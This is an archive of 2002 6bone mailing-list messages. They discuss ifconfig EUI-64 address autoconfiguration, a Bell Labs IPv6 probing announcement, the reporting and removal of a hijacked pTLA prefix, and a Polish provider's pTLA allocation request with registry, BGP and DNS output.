inclined  to keep an open mind here, on what preference happens. The
strange thing I found with NetBSD is that during the installation
process it wanted to autoconfig an IPv6 address, then things broke down
because my system wasn't being properly configured for that version.
FreeBSD on the other hand did want to, but I told it to not do that. And
back to Linux, I'll spare you folks my complaints on that problem
grouping. 
-------------------
Gregg C Levine hansolofalcon@worldnet.att.net
------------------------------------------------------------
"The Force will be with you...Always." Obi-Wan Kenobi
"Use the Force, Luke."  Obi-Wan Kenobi
(This company dedicates this E-Mail to General Obi-Wan Kenobi )
(This company dedicates this E-Mail to Master Yoda )



> -----Original Message-----
> From: 6bone-admin@mailman.isi.edu [mailto:6bone-admin@mailman.isi.edu]
On
> Behalf Of ww@GROOVY.NET
> Sent: Sunday, June 09, 2002 3:07 PM
> To: Pim van Pelt
> Cc: 6bone@ISI.EDU
> Subject: Re: [6bone] ifconfig and EUI-64
> 
> On Sun, Jun 09, 2002 at 07:22:47PM +0200, Pim van Pelt wrote:
> >
> > which will let the fa0/0 device figure out its own address using the
> > lower order 64 bits of its linklocal address in the specified
prefix.
> >
> > This behavior is missing in the Unix world and I for one would like
to
> > see it implemented. Anybody against this ?
> 
> There was a discussion about this some time ago on the NetBSD
> tech-net mailing list. The debate centered on whether it was
> better to have this functionality in the ifconfig binary or
> in some sort of script that would call ifconfig after calculating
> the lower order 64 bits. The problem with the latter is that it
> might assume that /usr is mounted which may not be true until
> after networking has been configured.
> 
> I can't think of any very strong argument about why what you
> suggest should not be implemented within ifconfig(8).
> 
> Cheers,
> Will
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone


From aangel@transa.infoarc.sodaknet.com Sun Jun  9 16:22:07 2002
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Subject: [Fwd: Re: [6bone] ifconfig and EUI-64]
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Ehk; forgot to Cc: the list.

-----Forwarded Message-----

> From: Aaron Angel <aangel@transa.infoarc.sodaknet.com>
> To: Pim van Pelt <pim@ipng.nl>
> Subject: Re: [6bone] ifconfig and EUI-64
> Date: 09 Jun 2002 19:21:08 -0400
> 
> On Sun, 2002-06-09 at 13:22, Pim van Pelt wrote:
> > Hi guys,
> > 
> > Does anyone know why exactly the ifconfig programs for the BSDs, Linux
> > and most probably Solaris are not able to autoconfigure their own
> > addresses, by not using the RS/RA schema, but a local autoconfiguration
> > such as the Cisco IOS:
> > 
> The KAME stack comes with rtsol and rtsold; the former sends
> solicitations once, the latter is a daemonized version.
> 
> As far as Linux goes (or anything supported, for that matter),
> distributions which use INRIA support it in ifconfig with the eui64
> keyword...exactly how, I'm not sure; I don't use it.


From Francis.Dupont@enst-bretagne.fr Tue Jun 11 00:56:41 2002
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From: Francis Dupont <Francis.Dupont@enst-bretagne.fr>
To: Pim van Pelt <pim@ipng.nl>
cc: 6bone@ISI.EDU
Subject: Re: [6bone] ifconfig and EUI-64 
In-reply-to: Your message of Sun, 09 Jun 2002 19:22:47 +0200.
             <20020609172247.GA2781@bfib.colo.bit.nl> 
Date: Tue, 11 Jun 2002 09:55:40 +0200
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 In your previous mail you wrote:

   Does anyone know why exactly the ifconfig programs for the BSDs, Linux
   and most probably Solaris are not able to autoconfigure their own
   addresses, by not using the RS/RA schema, but a local autoconfiguration
   such as the Cisco IOS:
   
=> note that Ciscos are usually routers so can't use RS/RA.

   interface FastEthernet0/0
    ipv6 enable
    ipv6 address 2001:7b8:4:1234::/64 eui-64
   !
   
   which will let the fa0/0 device figure out its own address using the
   lower order 64 bits of its linklocal address in the specified prefix.
   
=> EUI-64 should be from the MAC address not from the link-local address
but I agree the intended behavior is not well reflected by the name.

   This behavior is missing in the Unix world and I for one would like to
   see it implemented. Anybody against this ?
   
=> I like to have this and the possibility to explicitely set the link-local
address too.

Regards

Francis.Dupont@enst-bretagne.fr

From Francis.Dupont@enst-bretagne.fr Tue Jun 11 01:01:30 2002
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From: Francis Dupont <Francis.Dupont@enst-bretagne.fr>
To: Aaron Angel <aangel@transa.infoarc.sodaknet.com>
cc: 6bone@ISI.EDU
Subject: Re: [Fwd: Re: [6bone] ifconfig and EUI-64] 
In-reply-to: Your message of 09 Jun 2002 19:21:51 EDT.
             <1023664911.56010.21.camel@transa.infoarc.sodaknet.com> 
Date: Tue, 11 Jun 2002 10:01:13 +0200
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 In your previous mail you wrote:

   > As far as Linux goes (or anything supported, for that matter),
   > distributions which use INRIA support it in ifconfig with the eui64
   > keyword...exactly how, I'm not sure; I don't use it.
   
=> I can answer, from man ifconfig:

     eui64   (inet6 only) The real IPv6 address is computed by replacing the
             last 64 bytes of the given address with the Interface Identifier.
             For a point-to-point interface, if a destination address is given
             and has a null Interface Identifier part, the Interface Identifi-
             er part of this destination address is filled by the Interface
             Identifier part of the link-local destination address (which must
             be present).

The interface ID is picked up from the (first) link-local address and
if there is none from the link-layer address. There is a provision for
point-to-point links (i.e. set the peer interface ID too). The last versions
perform this in ifconfig itself but you can implement the same idea in
the kernel or in a script.

Thanks

Francis.Dupont@enst-bretagne.fr

From pim@ipng.nl Tue Jun 11 01:58:15 2002
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Subject: Re: [Fwd: Re: [6bone] ifconfig and EUI-64]
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On Sun, Jun 09, 2002 at 07:21:51PM -0400, Aaron Angel wrote:
| Ehk; forgot to Cc: the list.
Aaron,

Thanks for the remarks but I was specifically stating that I wish
_not_ to use the Router Discovery protocol on a host. Let us say that
our box is a router itself, then we would like to set the interface
addresses in the global scope implicitly by specifying something like:

# ifconfig gx0 inet6 2001:7b8:3:1234:: -prefixlen 64 -eui64

Which would make the box calculate the lower order 64 bits via the MAC
address (thanks, Francis) in stead of having the user set it explicitly.

Your rtsol/rtsold (and the standard Linux/Windows behavior) have nothing
to do with this. I should check out the INRIA comment though, thanks for
that hint!

groet,
Pim
| 
| -----Forwarded Message-----
| 
| > From: Aaron Angel <aangel@transa.infoarc.sodaknet.com>
| > To: Pim van Pelt <pim@ipng.nl>
| > Subject: Re: [6bone] ifconfig and EUI-64
| > Date: 09 Jun 2002 19:21:08 -0400
| > 
| > On Sun, 2002-06-09 at 13:22, Pim van Pelt wrote:
| > > Hi guys,
| > > 
| > > Does anyone know why exactly the ifconfig programs for the BSDs, Linux
| > > and most probably Solaris are not able to autoconfigure their own
| > > addresses, by not using the RS/RA schema, but a local autoconfiguration
| > > such as the Cisco IOS:
| > > 
| > The KAME stack comes with rtsol and rtsold; the former sends
| > solicitations once, the latter is a daemonized version.
| > 
| > As far as Linux goes (or anything supported, for that matter),
| > distributions which use INRIA support it in ifconfig with the eui64
| > keyword...exactly how, I'm not sure; I don't use it.
| 
| _______________________________________________
| 6bone mailing list
| 6bone@mailman.isi.edu
| http://mailman.isi.edu/mailman/listinfo/6bone

-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From dwaddington@lucent.com Tue Jun 11 06:23:11 2002
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From: "Daniel G Waddington" <dwaddington@lucent.com>
To: <6bone@mailman.isi.edu>, <ngtrans@sunroof.eng.sun.com>
Date: Tue, 11 Jun 2002 09:18:08 -0400
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Subject: [6bone] Public Announcement - Bell Labs IPv6 Probing Experiments
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PUBLIC ANNOUNCEMENT - BELL LABS IPv6 PROBING EXPERIMENTS

To all 6Bone users and network administrators:

Bell Laboratories, NJ, is currently performing experiments in IPv6 network
topology discovery that involves sending a number of source routed IPv6
probe packets (from 3ffe:2900:c00c:1102:210:5aff:fe9e:9e3b) into the 6Bone
network.  This is purely a research experiment aimed at collecting router
topology information about the 6Bone network.  The data that we are
collecting from the network will hopefully help us, and the rest of the IPv6
community, to better understand the nature of large scale IPv6 deployment
(e.g. effects of tunnelling on routing infrastructure).  Some of you may
already have noticed that we have been dispatching probes on and off for the
last 3 months on to the 6Bone network.  Since this is an experimental
infrastructure overseen by the IETF, the results will be made publically
available to the IETF community in the coming months on
www.ipv6.bell-labs.com.

If you do not wish to be part of this experiment, then given your router
addresses we can eliminate you from the search space.  However, we
can assure you that probe traffic will be kept to a minimum and that once we
have a complete set of data, the experiments will be performed less
frequently.

Please do not hesitate to contact me if you have any further questions or
issues to raise on this matter.

Sincerely Yours,

Daniel G. Waddington
Networking Research Lab
Bell Laboratories, Lucent Technologies


From itojun@itojun.org Tue Jun 11 07:37:25 2002
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In-reply-to: Francis.Dupont's message of Tue, 11 Jun 2002 09:55:40 +0200.
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Subject: Re: [6bone] ifconfig and EUI-64 
From: Jun-ichiro itojun Hagino <itojun@iijlab.net>
Date: Tue, 11 Jun 2002 23:36:46 +0900
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>=> I like to have this and the possibility to explicitely set the link-local
>address too.

	you can always remove then add.

itojun

From kre@munnari.OZ.AU Wed Jun 12 00:50:16 2002
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Subject: Re: [6bone] ifconfig and EUI-64 
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    Date:        Tue, 11 Jun 2002 09:55:40 +0200
    From:        Francis Dupont <Francis.Dupont@enst-bretagne.fr>
    Message-ID:  <200206110755.g5B7teT98855@givry.rennes.enst-bretagne.fr>

  | => I like to have this

Me too.

  | and the possibility to explicitely set the link-local address too.

Doesn't everyone already allow that?  (Some of my systems have a whole
bunch of link local addresses assigned to various interfaces - after
all, there are 2^64 to choose from on every link, and no nets I use
have nearly that many connected hosts, so each host can have lots...)

What I want, which is maybe what you meant, is the ability to explicitly
set the IID, from which the link-local, and global (and site-local...)
addresses are computed.   That is so when a new prefix appears in a
RA, the new address will automatically be generated using the IID I
specified (which is why simply specifying the whole address doesn't work).

kre


From Francis.Dupont@enst-bretagne.fr Wed Jun 12 05:14:43 2002
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cc: Pim van Pelt <pim@ipng.nl>, 6bone@ISI.EDU
Subject: Re: [6bone] ifconfig and EUI-64 
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 In your previous mail you wrote:

     | and the possibility to explicitely set the link-local address too.
   
   Doesn't everyone already allow that?

=> no, for instance in KAME you have to recompile the kernel with
"options IP6_AUTO_LINKLOCAL=0"...

   What I want, which is maybe what you meant, is the ability to explicitly
   set the IID, from which the link-local, and global (and site-local...)
   addresses are computed.

=> on a reasonable system to set the link-local address or the IID are
equivalent.

   That is so when a new prefix appears in a
   RA, the new address will automatically be generated using the IID I
   specified (which is why simply specifying the whole address doesn't work).
   
=> the subject of this thread is the extension of this to the ifconfig
command.

Thanks

Francis.Dupont@enst-bretagne.fr

From kre@munnari.OZ.AU Wed Jun 12 08:11:52 2002
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Subject: Re: [6bone] ifconfig and EUI-64 
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    Date:        Wed, 12 Jun 2002 14:07:56 +0200
    From:        Francis Dupont <Francis.Dupont@enst-bretagne.fr>
    Message-ID:  <200206121207.g5CC7uT06279@givry.rennes.enst-bretagne.fr>

  | => no, for instance in KAME you have to recompile the kernel with
  | "options IP6_AUTO_LINKLOCAL=0"...

Then what you mean isn't what you said, I use KAME, and I have lots
of link local addresses, and I never knew that option existed.

I suspect that what you mean is "not automatically generate a link
local based upon the IID" but that's a different thing to
"explicitly set the link local address".

  | => on a reasonable system to set the link-local address or the IID are
  | equivalent.

Only if you make the assumption that there is only one link-local address.
That's not a reasonable assumption I don't think.   There's no reason not
to have several.

eg: In general I prefer regular auto-config'd addresses (EUI-64 and all
that in the IID).   But for debugging (ping of the address, etc) it is
nice if they also have nice easy to use LL addresses, like fe80::1 fe80::2
and such, so I just go assign those.   It can also be convenient to have
fe80::a.b.c.d where a.b.c.d is the IPv4 address assigned to the interface,
as that's then a real easy way to match things, and know which is which
(from the ancient past, I tend to simply know what IPv4 addr applies to
every system around).

But I want only one IID for the interface - which one of those should
the kernel pick, if it was to treat them as equivalent.

  | => the subject of this thread is the extension of this to the ifconfig
  | command.

Yes, I know, what I would like to be able to do is

	ifconfig interface inet6 iid 77

and if I do that before anything else has enabled IPv6 on the interface,
it should simply use "77" (which would be a hex string with an arbitrary
number of :'s up to 5, with an implied (maybe required explicit) leading ::)
when it first enabled the interface and configures its first link local.

Being able to specify "prefix xxx::" I would also like.   The "iid" is
mostly for hosts, "prefix" for routers (iid for routers too, but specifying
both iid and prefix is just the same as specifying the whole address on
a router, which doesn't get more prefixes from RAs).

kre


From Francis.Dupont@enst-bretagne.fr Wed Jun 12 10:18:06 2002
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cc: Pim van Pelt <pim@ipng.nl>, 6bone@ISI.EDU
Subject: Re: [6bone] ifconfig and EUI-64 
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 In your previous mail you wrote:

     | => no, for instance in KAME you have to recompile the kernel with
     | "options IP6_AUTO_LINKLOCAL=0"...
   
   Then what you mean isn't what you said, I use KAME, and I have lots
   of link local addresses, and I never knew that option existed.
   
=> this option is not documented but gives a way to disable the
automatic (i.e. out of control) generation of a link-local address
when an interface comes up.

   I suspect that what you mean is "not automatically generate a link
   local based upon the IID" but that's a different thing to
   "explicitly set the link local address".
   
=> this is a matter of wording: my idea is the IID doesn't exist by itself.
And I assume that to have a link-local address is equivalent to have IPv6
enabled on the interface.

     | => on a reasonable system to set the link-local address or the IID are
     | equivalent.
   
   Only if you make the assumption that there is only one link-local address.
   That's not a reasonable assumption I don't think.   There's no reason not
   to have several.
   
=> but there is no need to have several too...

   eg: In general I prefer regular auto-config'd addresses (EUI-64 and all
   that in the IID).

=> I agree but I'd like to have the control for the rare cases where
something else is better.

   But for debugging (ping of the address, etc) it is
   nice if they also have nice easy to use LL addresses, like fe80::1 fe80::2
   and such, so I just go assign those.   It can also be convenient to have
   fe80::a.b.c.d where a.b.c.d is the IPv4 address assigned to the interface,
   as that's then a real easy way to match things, and know which is which
   (from the ancient past, I tend to simply know what IPv4 addr applies to
   every system around).
   
=> when cut&paste is not available fe80::1, ..., are very convenient.

   But I want only one IID for the interface - which one of those should
   the kernel pick, if it was to treat them as equivalent.
   
=> this is the point we disagree: I want only one link-local for the
interface and the (unique) IID is taken from the link-local.
I don't believe the result will be very different but this is not exactly
the same thing.

     | => the subject of this thread is the extension of this to the ifconfig
     | command.
   
   Yes, I know, what I would like to be able to do is
   
   	ifconfig interface inet6 iid 77
   
   and if I do that before anything else has enabled IPv6 on the interface,
   it should simply use "77" (which would be a hex string with an arbitrary
   number of :'s up to 5, with an implied (maybe required explicit) leading ::)
   when it first enabled the interface and configures its first link local.
   
   Being able to specify "prefix xxx::" I would also like.   The "iid" is
   mostly for hosts, "prefix" for routers (iid for routers too, but specifying
   both iid and prefix is just the same as specifying the whole address on
   a router, which doesn't get more prefixes from RAs).
   
=> I write this "ifconfig interface inet6 fe80::77/64" and
"ifconfig interface inet6 xxx::/plen eui64 alias".
As I've said our disagreement is only about details...

Regards

Francis.Dupont@enst-bretagne.fr

PS: for an obscure reason KAME /etc/rc.network6 script supports full addresses
and prefixes but in the wrong order...

From jeroen@unfix.org Wed Jun 12 10:21:14 2002
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From: "Jeroen Massar" <jeroen@unfix.org>
To: <6bone@ISI.EDU>
Cc: <a_dailliez@yahoo.fr>
Date: Wed, 12 Jun 2002 19:21:05 +0200
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Subject: [6bone] 3FFE:6700::/32 - Another pTLA space hijack
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jeroen@purgatory:~$ whois 3FFE:6700::/32
<SNIP>
inet6num:     3FFE:6700::/32
netname:      AZURVP-V6
descr:        AzurVP Network. None profit organisation.
country:      FR
admin-c:      AD5-6BONE
tech-c:       AD5-6BONE
mnt-by:       MNT-AZURVP
changed:      a_dailliez@yahoo.fr 20020611
source:       6BONE

person:       Amaury DAILLIEZ
address:      506 chemin des ecoliers
phone:        +33614912547
nic-hdl:      AD5-6BONE
url:          http://www.azurvp.net
mnt-by:       MNT-AZURVP
changed:      a_dailliez@yahoo.fr 20020605
source:       6BONE
</SNIP>

This is the second time some 'entity' has simply chosen to steal some
address space.
Previous time went unseen when (also some french entity) though to
hijack 3ffe:6777::/32.
They replied with "I didn't saw the rules concerning the pTLA spaces"
which could also be
read as "I didn't know I couldn't just take this cool castle, I didn't
saw a sign when I went in".

Could the 3ffe://16 object be protected with mnt-lower's to the real
pTLA holders ?

"Look mummy I got a /32 on the internet all for myself", but then
written in leet...

Greets,
 Jeroen


From michel@arneill-py.sacramento.ca.us Wed Jun 12 10:43:36 2002
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Subject: RE: [6bone] 3FFE:6700::/32 - Another pTLA space hijack
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From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
To: "Jeroen Massar" <jeroen@unfix.org>, <6bone@ISI.EDU>
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The one thing that bugs me is that I don't even see what this kind of behavior achieves. Not only nobody will route it, but now he's on the blacklist. Maybe we should have an age verification system and not allow 14 year-old to register /32s.

Amaury, nettoies tes merdes de la base de données, merci.

Michel.


-----Original Message-----
From: Jeroen Massar [mailto:jeroen@unfix.org] 
Sent: Wednesday, June 12, 2002 10:21 AM
To: 6bone@ISI.EDU
Cc: a_dailliez@yahoo.fr
Subject: [6bone] 3FFE:6700::/32 - Another pTLA space hijack

jeroen@purgatory:~$ whois 3FFE:6700::/32
<SNIP>
inet6num:     3FFE:6700::/32
netname:      AZURVP-V6
descr:        AzurVP Network. None profit organisation.
country:      FR
admin-c:      AD5-6BONE
tech-c:       AD5-6BONE
mnt-by:       MNT-AZURVP
changed:      a_dailliez@yahoo.fr 20020611
source:       6BONE

person:       Amaury DAILLIEZ
address:      506 chemin des ecoliers
phone:        +33614912547
nic-hdl:      AD5-6BONE
url:          http://www.azurvp.net
mnt-by:       MNT-AZURVP
changed:      a_dailliez@yahoo.fr 20020605
source:       6BONE
</SNIP>

This is the second time some 'entity' has simply chosen to steal some
address space.
Previous time went unseen when (also some french entity) though to
hijack 3ffe:6777::/32.
They replied with "I didn't saw the rules concerning the pTLA spaces"
which could also be
read as "I didn't know I couldn't just take this cool castle, I didn't
saw a sign when I went in".

Could the 3ffe://16 object be protected with mnt-lower's to the real
pTLA holders ?

"Look mummy I got a /32 on the internet all for myself", but then
written in leet...

Greets,
 Jeroen

_______________________________________________
6bone mailing list
6bone@mailman.isi.edu
http://mailman.isi.edu/mailman/listinfo/6bone

From fink@es.net Wed Jun 12 19:28:26 2002
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Date: Wed, 12 Jun 2002 19:27:47 -0700
To: a_dailliez@yahoo.fr
From: Bob Fink <fink@es.net>
Cc: 6BONE List <6bone@mailman.isi.edu>
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Subject: [6bone] Illegal registry of 3FFE:6700::/32
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Amaury DAILLIEZ,

You are in violation of 6bone address allocation rules and general 6bone 
policy. Please reply to me immediately so I can at least understand your 
motivation for this, and hopefully you can maintain your future reputation 
with the 6bone/ipv6 community.

Whatever your response, however, I have deleted your inet6num entry for 
3FFE:6700::/32 as it is a hijacking of unallocated space.

Depending on your reply, I will decided whether to delete your mntner and 
person objects as well.

Also note that no 6bone pTLA is likely to peer with you, nor should be 
willing to do so, given the unauthorized nature of your inet6num entry and 
its prefix range.


Hoping to hear from you,

Bob Fink

===
>From: "Jeroen Massar" <jeroen@unfix.org>
>To: <6bone@ISI.EDU>
>Cc: <a_dailliez@yahoo.fr>
>Subject: [6bone] 3FFE:6700::/32 - Another pTLA space hijack
>Date: Wed, 12 Jun 2002 19:21:05 +0200
>
>jeroen@purgatory:~$ whois 3FFE:6700::/32
><SNIP>
>inet6num:     3FFE:6700::/32
>netname:      AZURVP-V6
>descr:        AzurVP Network. None profit organisation.
>country:      FR
>admin-c:      AD5-6BONE
>tech-c:       AD5-6BONE
>mnt-by:       MNT-AZURVP
>changed:      a_dailliez@yahoo.fr 20020611
>source:       6BONE
>
>person:       Amaury DAILLIEZ
>address:      506 chemin des ecoliers
>phone:        +33614912547
>nic-hdl:      AD5-6BONE
>url:          http://www.azurvp.net
>mnt-by:       MNT-AZURVP
>changed:      a_dailliez@yahoo.fr 20020605
>source:       6BONE
></SNIP>
>
>This is the second time some 'entity' has simply chosen to steal some
>address space.
>Previous time went unseen when (also some french entity) though to
>hijack 3ffe:6777::/32.
>They replied with "I didn't saw the rules concerning the pTLA spaces"
>which could also be
>read as "I didn't know I couldn't just take this cool castle, I didn't
>saw a sign when I went in".
>
>Could the 3ffe://16 object be protected with mnt-lower's to the real
>pTLA holders ?
>
>"Look mummy I got a /32 on the internet all for myself", but then
>written in leet...
>
>Greets,
>  Jeroen
>
>_______________________________________________
>6bone mailing list
>6bone@mailman.isi.edu
>http://mailman.isi.edu/mailman/listinfo/6bone



From kre@munnari.OZ.AU Thu Jun 13 03:28:21 2002
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From: Robert Elz <kre@munnari.OZ.AU>
To: Francis Dupont <Francis.Dupont@enst-bretagne.fr>
cc: Pim van Pelt <pim@ipng.nl>, 6bone@ISI.EDU
Subject: Re: [6bone] ifconfig and EUI-64 
In-Reply-To: <200206121711.g5CHBTT07971@givry.rennes.enst-bretagne.fr> 
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    Date:        Wed, 12 Jun 2002 19:11:29 +0200
    From:        Francis Dupont <Francis.Dupont@enst-bretagne.fr>
    Message-ID:  <200206121711.g5CHBTT07971@givry.rennes.enst-bretagne.fr>

  | => this option is not documented but gives a way to disable the
  | automatic (i.e. out of control) generation of a link-local address
  | when an interface comes up.

Thanks for the explanation, that's what I guessed when you mentioned it.

  | => this is a matter of wording: my idea is the IID doesn't exist by itself.

That's something with which I disagree then, as I believe it does,
though certainly it is a minor point.

  | And I assume that to have a link-local address is equivalent to have IPv6
  | enabled on the interface.

Yes I would treat those two as being essentially the same, no IPv6 operating
interface should ever be without a LL address.

  | => but there is no need to have several too...

No, it isn't required (except perhaps for a node acting as a proxy for
another node - wouldn't a VRRP router need to take over the LL address
of the router it is pretending to be, and wouldn't a HA need to at least
act as if it owns the addresses of mobile nodes?)

But there's a difference between not being required (if it never is) and
not being useful.   I see no reason to forbid multiple LL addresses for
a node.
  
  | => this is the point we disagree: I want only one link-local for the
  | interface and the (unique) IID is taken from the link-local.

Yes, that's where we disagree.

  | I don't believe the result will be very different but this is not exactly
  | the same thing.

Not very different, we both want the same functionality, I just want a
little more generality than you do.

Also, if I decide that fe80::1 is the one and only LL addr for an
interface, that doesn't mean that I want 3ffe:abcd::1 to necessarily
be the global address assigned - in many cases I'd still like that one
to be EUI-64 based.

So, I really would prefer to separate the issues of assigning a LL
address, and setting the IID that should be used to auto-configure
addresses.

  | As I've said our disagreement is only about details...

Almost, but not quite.

  | PS: for an obscure reason KAME /etc/rc.network6 script supports full
  | addresses and prefixes but in the wrong order...

I use KAME as incorporated into NetBSD, which has no such script,
(IPv6 stuff is handled along with IPv4 stuff in /etc/rc.d/network)
so I'm afraid I can't quite follow that reference.

kre


From fink@es.net Thu Jun 13 07:28:56 2002
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Date: Thu, 13 Jun 2002 07:27:59 -0700
To: 6BONE List <6bone@mailman.isi.edu>
From: Bob Fink <fink@es.net>
Cc: Bartosz Waszak <waszi@ipv6.icpnet.pl>
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Subject: [6bone] pTLA request ICPNET-PL - review closes 27 June 2002
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6bone Folk,

ICPNET-PL has requested a pTLA allocation and I find their request fully 
compliant with RFC2772. The open review period for this will close 27 June 
2002. Please send your comments to me or the list.

<http://whois.6bone.net/cgi-bin/whois?ICPNET-PL>

<http://www.ipv6.icpnet.pl>


Thanks,

Bob

===
>Date: Thu, 13 Jun 2002 09:50:16 +0200
>From: Bartosz Waszak <waszi@ipv6.icpnet.pl>
>To: Bob Fink <fink@es.net>
>Subject: pTLA Request for ICPNET (AS13110), resubmit
>
>Hello!
>
>Here we present our corrected application for a 6Bone pTLA.
>
>RFC 2772:
> >7. Guidelines for 6Bone pTLA sites
> >
> > The following rules apply to qualify for a 6Bone pTLA allocation.
> > It should be recognized that holders of 6Bone pTLA allocations are
> > expected to provide production quality backbone network services
> > for the 6Bone.
> >
> > 1. The pTLA Applicant must have a minimum of three (3) months
> > qualifying experience as a 6Bone end-site or pNLA transit. During
> > the entire qualifying period the Applicant must be operationally
> > providing the following:
>
>We have about 6 months experience as a 6bone end-site.
>
> > a. Fully maintained, up to date, 6Bone Registry entries for their
> > ipv6-site inet6num, mntner, and person objects, including each
> > tunnel that the Applicant has.
>
>ipv6-site:    ICPNET-PL
>origin:       AS13110
>descr:        Internet Cable Provider (major broadband service in country)
>country:      PL
>prefix:       3FFE:8010:7:11::/64
>prefix:       3FFE:8010:7:F00::/56
>prefix:       3FFE:8320:2:5::/64
>application:  ping ontario.ipv6.icpnet.pl
>application:  www www.ipv6.icpnet.pl
>application:  smtp ontario.ipv6.icpnet.pl
>application:  ftp ftp.ipv6.icpnet.pl
>tunnel:       IPv6 in IPv4 ontario.ipv6.icpnet.pl -> 6bone-gw.6bone.pl 
>ICM-PL BGP4+
>tunnel:       IPv6 in IPv4 ontario.ipv6.icpnet.pl -> ipv6-gw.man.poznan.pl 
>POZMAN BGP4+
>tunnel:       IPv6 in IPv4 ontario.ipv6.icpnet.pl -> 
>nautilus.ipv6.icpnet.pl ICPNET STATIC
>tunnel:       IPv6 in IPv4 ontario.ipv6.icpnet.pl -> chaos.wmid.amu.edu.pl 
>UNDEFINE BGP4+
>contact:      IS2-6BONE
>remarks:      joined projects: SCIFI (operational since Sep 2000) and UNISOFT
>notify:       ipv6@ipv6.icpnet.pl
>mnt-by:       MNT-SCIFI
>changed:      waszi@ipv6.icpnet.pl 20020611
>source:       6BONE
>
>inet6num:     3FFE:8010:7:F00::/56
>netname:      ICPNET-PL
>descr:        Internet Cable Provider
>country:      PL
>admin-c:      BW3-6BONE
>tech-c:       IS2-6BONE
>remarks:      ICPNET, pilot project for transition Cable Modem access to ipv6
>notify:       ipv6@ipv6.icpnet.pl
>mnt-by:       MNT-SCIFI
>changed:      waszi@ipv6.icpnet.pl 20020611
>source:       6BONE
>
>inet6num:     3FFE:8010:7:11::/64
>netname:      ICPNET-PL
>descr:        Internet Cable Provider
>country:      PL
>admin-c:      BW3-6BONE
>tech-c:       IS2-6BONE
>remarks:      ICPNET, pilot project for transition Cable Modem access to ipv6
>notify:       ipv6@ipv6.icpnet.pl
>mnt-by:       MNT-SCIFI
>changed:      waszi@ipv6.icpnet.pl 20020611
>source:       6BONE
>
>inet6num:     3FFE:8320:2:5::/64
>netname:      ICPNET-PL
>descr:        Internet Cable Provider
>country:      PL
>admin-c:      BW3-6BONE
>tech-c:       IS2-6BONE
>remarks:      ICPNET, pilot project for transition Cable Modem access to ipv6
>notify:       ipv6@ipv6.icpnet.pl
>mnt-by:       MNT-SCIFI
>changed:      waszi@ipv6.icpnet.pl 20020611
>source:       6BONE
>
>role:         ICP Staff
>address:      ul. Owsiana 17
>address:      61-666 Poznan
>address:      POLAND
>e-mail:       ipv6@ipv6.icpnet.pl
>admin-c:      BW3-6BONE
>tech-c:       KP4-6BONE
>nic-hdl:      IS2-6BONE
>mnt-by:       MNT-SCIFI
>changed:      waszi@ipv6.icpnet.pl 20020611
>source:       6BONE
>
>person:       Bartosz Waszak
>address:      ul. Owsiana 17
>address:      61-666 Poznan
>address:      POLAND
>phone:        +48618280132
>e-mail:       waszi@ipv6.icpnet.pl
>nic-hdl:      BW3-6BONE
>url:          http://www.ipv6.icpnet.pl/
>notify:       waszi@ipv6.icpnet.pl
>changed:      waszi@ipv6.icpnet.pl 20020603
>source:       6BONE
>
>person:       Krzysztof Palicki
>address:      ul. Owsiana 17
>address:      61-666 Poznan
>address:      POLAND
>phone:        +48618280132
>e-mail:       chris@poczta.icpnet.pl
>nic-hdl:      KP4-6BONE
>url:          http://www.ipv6.icpnet.pl/
>notify:       chris@poczta.icpnet.pl
>changed:      chris@poczta.icpnet.pl 20020612
>source:       6BONE
>
> > b. Fully maintained, and reliable, BGP4+ peering and connectivity
> > between the Applicant's boundary router and the appropriate
> > connection point into the 6Bone. This router must be IPv6
> > pingable. This criteria is judged by members of the 6Bone
> > Operations Group at the time of the Applicant's pTLA request.
>
>We have three BGP4+ peerings, and some static tunnels + native IPv6
>connections.
>
>BGP router identifier 62.21.98.6, local AS number 13110
>451 BGP AS-PATH entries
>7 BGP community entries
>
>Neighbor        V    AS MsgRcvd MsgSent   TblVer  InQ OutQ 
>Up/Down  State/PfxRcd
>
>ICM:
>3ffe:8010:7:11::1
>                 4  8664   32644    5793        0    0    0 01:02:02      217
>
>AMUWMID:
>3ffe:8010:7:6a00::3e
>                 4 58502    4991    1295        0    0    0 21:22:09      217
>
>POZMAN:
>3ffe:8320:1::30 4  9112   15817   10549        0    0    0 01w0d05h      211
>
>router is pingable via IPv6:
>[root@voyager /]# ping6 ontario.ipv6.icpnet.pl
>PING ontario.ipv6.icpnet.pl(3ffe:8320:2:5:2::1) 56 data bytes
>64 bytes from 3ffe:8320:2:5:2::1: icmp_seq=1 ttl=63 time=8.792 msec
>64 bytes from 3ffe:8320:2:5:2::1: icmp_seq=2 ttl=63 time=7.087 msec
>
> > c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
> > entries for the Applicant's router(s) and at least one host
> > system.
>
>We maintain DNS entries for ipv6.icpnet.pl and for 3ffe:8010:7:f00::/56
>
>Our primary DNS server for IPv6 is: ontario.icpnet.pl
>Secondary: ww2.icpnet.pl
>
>;; global options:  printcmd
>ipv6.icpnet.pl.         600     IN      SOA     ontario.icpnet.pl. 
>hostmaster.ontario.icpnet.pl. 2002061101 10800 600 604800 86400
>ipv6.icpnet.pl.         600     IN      NS      ww2.icpnet.pl.
>ipv6.icpnet.pl.         600     IN      NS      ontario.icpnet.pl.
>ipv6.icpnet.pl.         600     IN      MX      0 voyager.ipv6.icpnet.pl.
>ipv6.icpnet.pl.         600     IN      MX      10 ontario.ipv6.icpnet.pl.
>z-portal-gw.amuwmid-gw.ipv6.icpnet.pl. 600 IN AAAA 3ffe:8010:7:11:2::1
>ftp.ipv6.icpnet.pl.     600     IN      CNAME   ontario.ipv6.icpnet.pl.
>z-voyager-gw.icm-gw.ipv6.icpnet.pl. 600 IN AAAA 3ffe:8010:7:11::1
>z-portal-gw.icpnet-gw.ipv6.icpnet.pl. 600 IN AAAA 3ffe:8010:7:f00:feed::c
>z-voyager-gw.icpnet-gw.ipv6.icpnet.pl. 600 IN AAAA 3ffe:8010:7:f00:feed::a
>irc.ipv6.icpnet.pl.     600     IN      CNAME   ontario.ipv6.icpnet.pl.
>z-portal-gw.ktnet-gw.ipv6.icpnet.pl. 600 IN AAAA 3ffe:8010:7:f00:feed::1
>localhost.ipv6.icpnet.pl. 600   IN      A       127.0.0.1
